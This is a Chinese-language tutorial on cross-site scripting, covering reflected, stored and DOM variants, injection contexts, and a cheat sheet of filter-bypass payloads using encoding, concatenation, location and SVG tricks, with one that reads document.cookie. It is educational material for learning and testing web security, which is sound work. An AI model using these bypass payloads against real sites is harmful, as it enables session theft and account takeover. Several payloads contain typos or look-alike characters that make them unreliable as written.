跨站脚本攻击(XSS)可以使攻击者向网页中注入恶意代码,导致用户浏览器在加载网页、渲染HTML文档时就会执行攻击者的恶意代码。
常见XSS漏洞分类
·、反射型XSS
<?php
echo 'your input:' . $_GET['input'];
?>
客户端输入的值没有经过任何过滤就输出,所以攻击者可以添加
?input=<script>alert(1)</script>
网页会弹框,内容为1。
2、存储型XSS
存储型XSS会存储在服务器端。
主要应用有留言板、在线聊天室、邮件服务等
提交留言?input=<script>alert(1)</script>后,用户访问页面就会弹窗
3、DOM型XSS
与反射型XSS和存储型XSS相比,DOM型XSS的XSS代码不需要服务端解析响应的直接参与。
常用Document对象属性
属性 | 描述 |
---|---|
cookie | 设置或返回与当前文档有关的所有Cookie |
domain | 返回当前文档的域名 |
lastModified | 返回文档最后被修改的日期和时间 |
referrer | 返回载入当前文档的文档的URL |
title | 返回当前文档的标题 |
URL | 返回当前文档的URL |
write() | 向文档写HTML表达式或JavaScript代码 |
document.write('<script>alert(1)</script>')
4、输出在HTML属性中
一般需要闭合相应的HTML属性后注入新属性,或者闭合标签后直接注入新标签
<input name="user" value="{{ your input }}"/>
" οnclick="alert(1)
"><script>alert(1)</script>
5、输出在CSS代码中
<style type="text/css">
body{
color:{{ your input }};
}
</style>
#000; background-image: url('javascript:alert(1)')
n闭合前面的color属性,注入background-image属性
6、输出在JavaScript中
<script>
var name={{ your input }}
</script>
'+alert(1)+'
闭合前面的单引号和后面的单引号
防护与绕过
1、特定标签过滤
过滤危险标签(script、iframe等)
<not_real_tag οnclick="alert(1)">click</not_real_tag>
这段代码被用户点击时也会执行XSS
如果输出点在HTML或JavaScript中,只需要简单的闭合、拼接属性或JavaScript代码而不需要引入任何新标签就可以执行XSS代码
2、事件过滤
HTML标签的事件属性会被过滤,需要遍历可利用的事件属性检测是否有遗漏
一些标签属性本身不属于事件属性,但可以执行JavaScript代码,比如JavaScript伪协议
<a href="javascript:alert(1)">click</a>
3、敏感关键字过滤
- 字符串拼接与混淆
window['al'+'ert'](1)
btoa("alert")会将字符串编码为Base64返回YWxlcnQ=,atob会解码
所以可以使用
window[atob["YWx"+"lcnQ="]](1)
- 编码解码
XSS漏洞中常用的编码方式
HTML进制编码:十进制、十六进制
CSS进制编码:兼容HTML中的进制表现形式,十进制、十六进制
JavaScript进制编码:八进制、十六进制、Unicode编码、ASCII
URL编码:%61
JSFuck编码
- location.*、window.name
location.*、window.name等不会被浏览器提交至服务器,所以不会被过滤
也可以利用location对象结合字符串编码绕过基于关键字的过滤
<img src="1" οnerrοr=location="javascript:alert%281%29">
<img src="1" οnerrοr=location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">
- 过滤“.”
document.cookie无法使用
可以使用with关键字设置变量的作用域
with(document)alert(cookie)
- 过滤“()”
window.οnerrοr=alert; throw 1;
- 过滤空格
标签属性之间可以使用换行符
0x09、0x10、0x12、0x13、0x0a等可以替代空格
标签名称和第一个属性之间也可以使用“/”代替空格
<input/oncus=alert(1)>
- svg标签
svg内部的标签和语句遵循的规则是直接继承自xml而不是HTML
因此svg内部的script标签中可以允许存在一部分进制或编码后的字符
<svg><script>alert(1)</script></svg>
4、字符集编码绕过
宽字节
5、长度限制
window.name、location.*可以将代码放置在别处来减少输入点代码量
<ifram src="XXX?input=%3Cinput%20οnfοcus=$(window.name)%3E" name="<img src='x' οnerrοr=alert(1)>"></ifram>
注释
某些环境中可以使XSS分成多段用注释连接在一起
stage 1:<script>/*
stage 2:*/alert(1)/*
stage 3:*/</script>
危害与利用
XSS漏洞能实现的功能:
- 窃取用户的Cookie信息,伪造用户身份
- 与浏览器DOM对象进行交互,执行受害者所有可执行的操作
- 获取网页源码
- 发起HTTP请求
- 获取地理位置信息
- 使用WebRTC API获取网络信息
- 发起HTTP请求对内网主机进行扫描,对存在漏洞的主机进行攻击